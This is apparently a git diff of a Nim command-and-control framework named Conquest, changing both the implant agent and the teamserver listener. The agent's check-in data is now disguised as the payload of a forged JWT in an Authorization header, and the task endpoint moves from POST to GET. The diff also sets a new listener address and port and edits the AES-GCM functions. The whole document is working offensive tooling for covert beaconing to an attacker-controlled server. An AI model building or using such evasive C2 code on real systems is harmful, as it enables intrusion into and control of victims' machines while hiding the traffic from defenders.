diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 8cb181c..fe7be58 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -1,4 +1,4 @@ -import httpclient, json, strformat, asyncdispatch +import httpclient, json, strformat, strutils, asyncdispatch, base64 import ../../common/[types, utils] @@ -35,16 +35,15 @@ proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string = var responseBody = "" # Define HTTP headers + # The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded) + let payload = encode(checkinData, safe = true).replace("=", "") client.headers = newHttpHeaders({ - "Content-Type": "application/octet-stream", - "Content-Length": $checkinData.len + "Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30" }) - let body = checkinData.toString() - try: # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization - responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body) + responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/tasks") return responseBody except CatchableError as err: diff --git a/src/agent/main.nim b/src/agent/main.nim index 8154069..7947940 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -25,7 +25,7 @@ proc main() = # The agent configuration is read at compile time using define/-d statements in nim.cfg # This configuration file can be dynamically generated from the teamserver management interface # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary - when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay): + when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay) or not defined(ServerPublicKey): echo "Missing agent configuration." quit(0) diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 478904b..5359bab 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -1,9 +1,9 @@ # Agent configuration --d:ListenerUuid="D3AC0FF3" --d:Octet1="127" --d:Octet2="0" --d:Octet3="0" --d:Octet4="1" --d:ListenerPort=9999 +-d:ListenerUuid="D0981BF3" +-d:Octet1="172" +-d:Octet2="29" +-d:Octet3="177" +-d:Octet4="43" +-d:ListenerPort=6666 -d:SleepDelay=10 -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" diff --git a/src/common/crypto.nim b/src/common/crypto.nim index eb818d6..39549d1 100644 --- a/src/common/crypto.nim +++ b/src/common/crypto.nim @@ -14,7 +14,7 @@ proc generateIV*(): Iv = raise newException(CatchableError, "Failed to generate IV.") return iv -proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) = +proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) = # Encrypt data using AES-256 GCM var encData = newSeq[byte](data.len) @@ -29,7 +29,7 @@ proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[b return (encData, tag) -proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) = +proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) = # Decrypt data using AES-256 GCM var data = newSeq[byte](encData.len) @@ -44,7 +44,7 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (se return (data, tag) -proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64, header: Header): seq[byte] = +proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32, header: Header): seq[byte] = let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber) @@ -59,7 +59,6 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u Private keys and shared secrets are wiped from agent memory as soon as possible ]# {.compile: "monocypher/monocypher.c".} -{.passc: "-Imonocypher".} # C function imports from (monocypher/monocypher.c) proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.} diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index be32374..db9c0f5 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -31,20 +31,22 @@ proc register*(ctx: Context) {.async.} = resp "", Http404 #[ - POST /tasks + GET /tasks Called from agent to check for new tasks ]# proc getTasks*(ctx: Context) {.async.} = # Check headers - # If POST data is not binary data, return 404 error code - if ctx.request.contentType != "application/octet-stream": - resp "", Http404 - return + # Heartbeat data is hidden base64-encoded within "Authorization: Bearer" header, between a prefix and suffix + if not ctx.request.hasHeader("Authorization"): + resp "", Http404 + return + + let checkinData: seq[byte] = decode(ctx.request.getHeader("Authorization")[0].split(".")[1]).toBytes() try: var response: seq[byte] - let tasks: seq[seq[byte]] = getTasks(ctx.request.body.toBytes()) + let tasks: seq[seq[byte]] = getTasks(checkinData) if tasks.len <= 0: resp "", Http200 diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim index 84f5ee3..e52f126 100644 --- a/src/server/core/listener.nim +++ b/src/server/core/listener.nim @@ -67,7 +67,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = # Define API endpoints listener.post("register", routes.register) - listener.post("tasks", routes.getTasks) + listener.get("tasks", routes.getTasks) listener.post("results", routes.postResults) listener.registerErrorHandler(Http404, routes.error404) @@ -80,7 +80,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) = try: discard listener.runAsync() cq.add(listenerInstance) - cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on port {portStr}.") + cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{portStr}.") except CatchableError as err: cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", err.msg) @@ -100,14 +100,14 @@ proc restartListeners*(cq: Conquest) = # Define API endpoints listener.post("register", routes.register) - listener.post("tasks", routes.getTasks) + listener.get("tasks", routes.getTasks) listener.post("results", routes.postResults) listener.registerErrorHandler(Http404, routes.error404) try: discard listener.runAsync() cq.add(l) - cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on port {$l.port}.") + cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on {l.address}:{$l.port}.") except CatchableError as err: cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)